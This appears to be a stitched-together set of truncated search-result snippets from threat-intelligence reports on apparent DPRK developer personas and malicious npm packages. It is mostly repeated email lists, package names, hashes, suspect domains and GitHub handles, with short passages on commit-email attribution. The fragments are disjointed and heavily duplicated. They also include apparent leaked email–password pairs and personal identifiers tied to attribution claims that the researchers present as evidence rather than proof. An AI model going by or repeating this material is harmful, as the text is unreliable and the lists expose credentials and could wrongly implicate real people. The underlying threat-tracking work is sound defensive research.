N/A…","…f5fd0ca9d7642087d0edf609c126197b4d958cc2e1d576c62d444287444e229d 2026-09-16 process-mite (1.1.79) 2026-09-16 max233 <max95feel@gmail.com> api.npoint.io https://api.npoint.io/33e8d008c334b060adad 7e6fb265ff2dc482d050c347751d71b672b187d95ee2d6d567e73ca78d4fedac…","…github.com/topcodebeast • [Archive](https://web.archive.org/web/20250722051253/https://github.com/TopCodeBeast) - t.me/flashhypo - maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com - cryptobyte3@gmail.com -…","…ing0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehme…","…leodavinci liam.pilips.hub@gmail.com ourcountry manricvilegas@gmail.com int mastering0429@gmail.com Dragon2002, dragon2002 max.cricle@gmail.com asdasdasd philip.henry.0802@gmail.com 123qwe!@#QWE, hornetqwer q3construction1@gmail.com 123123 rib.armor@gmail.com…","…email insider N/A N/A Threat actor persona email 4 karsonova1703@gmail.com email insider N/A N/A Threat actor persona email 4 maximmironenkoreact@gmail.com email insider N/A N/A Threat actor persona email 4 vitalyandronuke@gmail.com email insider N/A N/A Threat actor persona email 4…","…tchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.co…","…luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com metropropertiesadvisor00082@gmail.com metropolitanhomesguide99492@gmail.com…","…mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gma…","…m matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gma…","…o@versusx.us invite@quiz-nest.com jimmr6587@gmail.com johnkane84830@gmail.com legendaryaladdin@motionassess.com marvel714jm@gmail.com maxwell@gmail.com montessantiago9712@gmail.com mvsolution9@gmail.com phoenixfire471@gmail.com richardkdavis45@gmail.com rockstar96054@gmail.com rodrigu…","…States $30/hour, 10 hours/week 3 weeks austinstevens357@gmail.com Austin United States United States - 3 weeks maxwell@gmail.com Maxwell United States United States $70/hour, 40 hours/week - Kim Myong Chol luannguyen0318@gmail.com Luan…","…gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com…","…il.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@g…","…email insider N/A N/A Threat actor-controlled email 1 marza0219@hotmail.com email insider N/A N/A Threat actor-controlled email 1 mazheng225@outlook.com email insider N/A N/A Threat actor-controlled email 1 michael-mardjuki@outlook.com email insider N/A N/A Threat actor-controlled email 1…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Post nine: created 7 March 2022 with a GitHub id consecutive to JamesH0807's, about three minutes apart, which the researcher reads as batch creation from one session.","…ng@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott…","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/mbenz12, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: mbnez10120112@gmail.com authored 3 commits across 2 of its repositories, commits as \"mbenz12\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","…(0.5.12) 2026-08-26 solo1100 <nejewah462@prodbits.com> 2026-08-25 chai-as-otc (1.0.5) 2026-08-25 mckeel25 <mckeelred27@outlook.com> 6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-08-25 tailwind-scrollbar-hider (5.0.2) 2026-08-25…","…6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-08-25 chai-as-otc (1.0.5) 2026-08-25 mckeel25 <mckeelred27@outlook.com> 6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-08-25 tailwind-scrollbar-hider (5.0.2) 2026-08-25…","…email insider N/A N/A Threat actor persona email 4 mahdiupwork2002@gmail.com email insider N/A N/A Threat actor persona email 4 mdmahdiul@gmail.com email insider N/A N/A Threat actor persona email 4 wildbotgamer@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 janeica.dev@gmail.com email insider N/A N/A Threat actor persona email 4 mdmahdiuli@gmail.com email insider N/A N/A Threat actor persona email 4 aronnokunjo@gmail.com email insider N/A N/A Threat actor persona email 4…","…account Year in Review seniorsky92@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review meftaht531@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review tapiasamjann@gmail.com email malware N/A July…","…gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.s…","…l.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelb…","…axivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin…","…Year in Review moreandmore082@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review meirjacob727@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review harry.work206@gmail.com email malware N/A…","…marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com…","…log-server-lovat.vercel.app nextjs-babel-toastify v1.0.7, v1.1.7 meirjacob (meirjacob727@gmail.com) 2025-06-12 y f290db50ffe64d4fb5fe409d3d1c8eca6f6711e4bbd85a13c9dce055508cc1b3 log-server-lovat.vercel.app react-babel-purify v1.0.7…","…matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com…","…Year in Review irynalavreniuk38@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review melnikoleg995@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review opalinsigniagyprt29567@hotmail.com email…","…matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com…","…vens.st@gmail.com maybex66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michael…","…66@gmail.com mbenz10120112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com…","…0x94A8518B76A3c45F5387B521695024379d43d715 - ![](./lucas-wong.jpg) #### Jannik Villostas - 2025 - 0xtomoon - mrcontract17877 - melonman913@gmail.com - github.com/0xtomoon • [Archive](https://web.archive.org/web/20250516070156/https://github.com/0xtomoon) - x.com/mrcontract17877 -…","…The following accounts were among those identified as being used in these schemes: Bright.star.me208@gmail.com , Merrttank.bz@gmail.com , randyryang@gmail.com , michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com ,…","…maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com metropropertiesadvisor00082@gmail.com metropolitanhomesguide99492@gmail.com miamihouseconnect44257@gmail.com…","…maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com metropropertiesadvisor00082@gmail.com metropolitanhomesguide99492@gmail.com miamihouseconnect44257@gmail.com miroinvestmentstudio04977@gmail.com modernhomerealtor49536@gmail.com…","…maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com metropropertiesadvisor00082@gmail.com metropolitanhomesguide99492@gmail.com miamihouseconnect44257@gmail.com miroinvestmentstudio04977@gmail.com…","…chai-extensions-extras 2026-04-06 live registry thyfaultkathy4263@hotmail.com chai-str 2026-03-25 live registry mexowoj971@izkat.com chai-use-chain 2026-04-21 live registry hello@jsonspack.com chai-use-chains - - - chain-metrica…","…— appears in the same cluster mwai2005@officecombine.com ( chai-use-chain ), wovon16983@marvetos.com ( trackora-chain , trackora-node ), mexowoj971@izkat.com ( chai-str ), borire8128@jsncos.com ( chai-beta ), and jghff@smartretireway.com ( lockedin-chai-chain ) are all attributed to DPRK by the…","…light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com -…","…metronewhomes21319@gmail.com metropropertiesadvisor00082@gmail.com metropolitanhomesguide99492@gmail.com miamihouseconnect44257@gmail.com miroinvestmentstudio04977@gmail.com modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 mazheng225@outlook.com email insider N/A N/A Threat actor-controlled email 1 michael-mardjuki@outlook.com email insider N/A N/A Threat actor-controlled email 1 michael.getz28@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…those identified as being used in these schemes: Bright.star.me208@gmail.com , Merrttank.bz@gmail.com , randyryang@gmail.com , michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com , denis.turgenev2021@gmail.com , yesiree.cano825@gmail.com ,…","…mail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway46420…","…hina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmai…","…in Review antontarasiuk0512@gmail.com email malware N/A February 2025 DPRK malware distributor GitLab.com account Year in Review michael.dilks8500@gmail.com email malware N/A January 2025 DPRK malware distributor GitLab.com account Year in Review ignacioquesada127@gmail.com email malware N/A…","…20112@gmail.com megebeb119@mustbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoa…","…insider N/A N/A Threat actor-controlled email 1 michael-mardjuki@outlook.com email insider N/A N/A Threat actor-controlled email 1 michael.getz28@gmail.com email insider N/A N/A Threat actor-controlled email 1 onepushsing@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…Silesian, 40-855, PL ### akratos_god - akratos_god - kratos-te - x.com/akratos_god - github.com/kratos-te - department.c0809@gmail.com - michaelgordon.kratos@gmail.com - nightfurry090@gmail.com - degenpigg - miclegoden - LOVES to leak the private code which earned him a DMCA takedown on Github ###…","…@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston1…","…Campaign tag: base64 Y3Jhc2ggdGhlIGJhZCBndXlz = “crash the bad guys” Social-engineering infra: ritualhub.net , crew@ritualhub.net , michael.peter.hq@gmail.com , calendly.com/ritual-join ; recruiter persona “Anne” (named in the second-pass table below), interviewer “Doran” First-hand, second…","…ail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevi…","…tbeit.com mehmetdemir.58fr@gmail.com meidancrystalhero@gmail.com melodydev0521@gmail.com melodyxpot@gmail.com michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifesp…","…April 2026 jovanav@nxlog.tech Email address Attacker-controlled email address April 2026 michaelw@ondofinance.tech Email address Attacker-controlled email address April 2026 neila@ondofinance.tech Email address…","…matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com…","…email insider N/A N/A Synthetic persona email 2 wiktor.rogal@outlook.com email insider N/A N/A Synthetic persona email 2 michalcopik1@outlook.com email insider N/A N/A Synthetic persona email 2 albertdymek@outlook.com email insider N/A N/A Synthetic persona email 2…","…repository maqsoodssyasirss@gmail.com Commits to malicious repository matsarello@mail.ru Commits to malicious repository michalk001126@gmail.com Commits to malicious repository myselfmail0301@gmail.com Commits to malicious repository nelsonher019@gmail.com Commits to malicious…","…I sent the payment 1400$ from michalmilewski1@outlook.com to pandora.llc@outlook.com via Payoneer.…","…leonellaplacette2@gmail.com kh430 / Industry 2 Gmail - Western female name cover - Raw Chat 🟢 External information michalmilewski1@outlook.com ri_cholho / CIC Team, Base 5 Outlook - Polish male name cover Payoneer-registered.…","…github.com/soladify - x.com/SvenDotDev ### microgift88 / krippsat - microgift88 - percy.smith0208@gmail.com - yeniguy28@gmail.com - microgift28@gmail.com - x.com/microgift88 - t.me/microgift88 (ID: 7928438223) - github.com/microgift - microgift.dev - Karol Czerwiński, Polish…","…Year in Review skyearth711@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review migueljose81234@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review seed1996010@outlook.com email malware N/A…","…CodeMaestro11 - CodeMaestro - CodeMaestro11 - alexlu0917 - mikhaylovqweasdzxc - alexlu0917.dev@gmail.com - mikhaylovqweasdzxc@gmail.com #### itsmooncity - itsmooncity - 0xmooncity - 0x483adFD3409abEEc7d500312d81eFa21E740632a -…","…michael.elliott0323@gmail.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryenginee…","…l.com michael.schapen35@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9…","…meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com…","…@gmail.com michaelberckart@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebest…","…2025. GitHub Users: - m/markomilivojevic - James Smith Email Addresses: - James Smith <ellisfleming574@gmail.com> - Marko Milivojevic <milivojemarko@gmail.com> Domains: - vscode-bootstrapper.vercel.app ## Variant six - September 8, 2025 - Unique Identifier:…","…art@gmail.com michaeljin0225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei9721…","…21bfaa51988b8dc7220f58d33e570d50ce43bc6103f872fda68db1eafe7729c6 2026-09-14 hardhat-base (2.2.0) 2026-09-14 hardhat-base <milleremilyzre201@hotmail.com> 36ba3529fad51b9bb884aab02a5030ca1487d9d2d0073b000b72ac60e3e48116 76ed842a27bcfa2d7362702aff5d9ecfc8b4a35d3c0e4899d1312e93d4d42096…","….com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.berisha009@gmail.com millionsapphire@outlook.com derekdev2023@outlook.com…","…filip.porter9017@outlook.com r29728098@gmail.com vitalii214.ilnytskyi@gmail.com jasonharry198852@gmail.com millosmike3@gmail.com Malicious npm Packages With HexEval Loader # nextjs-https-supertest (live at time of publication; removal requested)…","…225@outlook.com michaelpotter1992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@g…","…melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com…","…992@gmail.com mikle.williamx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.c…","…in Review ramirezhector9299@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review mimoriokamoto@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review wilson.wen2145@outlook.com email malware N/A…","…jackkarlsson1025@gmail.com[email protected] adambinharun1010@gmail.com[email protected] minamotohitoshi912@gmail.com[email protected] muhammadhamid4760@gmail.com[email protected] scott.brown0629@gmail.com[email protected]…","…simonbergman516@gmail.com robertgreen1217@gmail.com ashleyspalliero408@gmail.com jackkarlsson1025@gmail.com adambinharun1010@gmail.com minamotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com a…","…amx@gmail.com mikoalas0414@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.co…","…ulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinyde…","…4@gmail.com milelifespin@gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com…","…shinyapes - x.com/shinytechapes - github.com/shinyapes - dillonmarszalek@gmail.com - DillonGru28 - https://github.com/novustechllc - mirakulizicc@gmail.com: Novus Tech LLC --- ## Merlin Dex ### pos-ninja - Haruto Y. - https://github.com/pos-ninja - posninja1008@gmail.com -…","…Year in Review olelangaard9@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review mirandacunningham1993@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review jerryjames1997@outlook.com email malware N/A…","…email insider N/A N/A Synthetic persona email 2 josipbraut@outlook.com email insider N/A N/A Synthetic persona email 2 mirantrkulja@outlook.com email insider N/A N/A Synthetic persona email 2 pavlehristov.work@outlook.com email insider N/A N/A Synthetic persona email 2…","…metropropertiesadvisor00082@gmail.com metropolitanhomesguide99492@gmail.com miamihouseconnect44257@gmail.com miroinvestmentstudio04977@gmail.com modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com…","…email insider N/A N/A Git mirror developer identity 2 fahrultech@gmail.com email insider N/A N/A Git mirror developer identity 2 mirzayevorzu127@gmail.com email insider N/A N/A Git mirror developer identity 2 tsunaminori@gmail.com email insider N/A N/A Git mirror developer identity 2…","…gmail.com milkyway464203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton…","…melnicenkosergij119@gmail.com michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com…","…2026-09-25 hardhat-lock (2.21.0) 2026-09-25 mitchellavaqba576 <mitchellavaqba576@outlook.com> 3a7f87ca7f738984bd7918a88da35a9898a491fd969e4ff43e619b25f2394abb 2026-09-24 selfsigned-generator (1.0.0) 2026-09-24…","…information provided for the MSMT report. 136 Annex 18 : Payoneer Accounts Used by Argentinian Facilitator 331 Email mitliza1@gmail.com julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com…","…203@gmail.com miltonjohnston14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.…","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed mitsurukudo213@gmail.com, an address browsercookies listed under the heading Unattrib in a post about Steven Leal, without tying it to that persona, to github.com/golden0x, account id 226656211, created on 15 August 2025, display name Golden Ox, with 3 public repositories.","…of TAOI\" * Telegram 1: https://t.me/stevendev0822 * Telegram 2: https://t.me/dodger0213 * Email 1: stevenpiao0822@gmail.com * Email 2: mitsurukudo213@gmail.com * Email 3: steven0822.dev@gmail.com * Twitter: https://x.com/steven228312 * LinkedIn: https://www.linkedin.com/in/steven-leal-183252338/ *…","…ton14226@gmail.com milu.milicevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr…","…icevic@gmail.com mingryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com…","…ngryengineer@gmail.com miracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mro…","…elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com -…","…zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com phetchamphone1998@gmail.com Additional Resources Global Companies Are Unknowingly Paying North Koreans: Here’s How to Catch…","…metropolitanhomesguide99492@gmail.com miamihouseconnect44257@gmail.com miroinvestmentstudio04977@gmail.com modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com…","…miamihouseconnect44257@gmail.com miroinvestmentstudio04977@gmail.com modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com…","…98602aca3efb91d6f77d4f3d0283681f1a954821885259b70127a66eb34fa7e4 2026-09-16 tailwindcss-form (0.5.1) 2026-09-16 mogifox919 <mogifox919@jobscai.com> stapi.io h.drpc.org e.com et 1r www.w3.org https://et https://1r http://www.w3.org/2000/svg…","…email insider N/A N/A Git mirror developer identity 2 jeffukus@gmail.com email insider N/A N/A Git mirror developer identity 2 mohamed_dhifli@hotmail.com email insider N/A N/A Git mirror developer identity 2 saputranady@gmail.com email insider N/A N/A Git mirror developer identity 2…","…miroinvestmentstudio04977@gmail.com modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com…","…il.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intellichain555 Bells Inter…","…iracleweb9000@gmail.com mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com mus…","…Signer on Safe 0xaf8 - 0xcf5a516b234b958f332dd3c0409c5fda0bd9d1fa Signer on Safe 0xaf8 #### Shiro Masumi - monstar911 - monstar911001@gmail.com - github.com/monstar911 #### Chiko Nakamura Chiko Nakamura - chikonakamura05@gmail.com - chikonakamura613@gmail.com -…","…For example, the account montessantiago9712@gmail.com was registered from the IP address 38.170.181.10 , the same as jimmr6587@gmail.com . Approximately 15 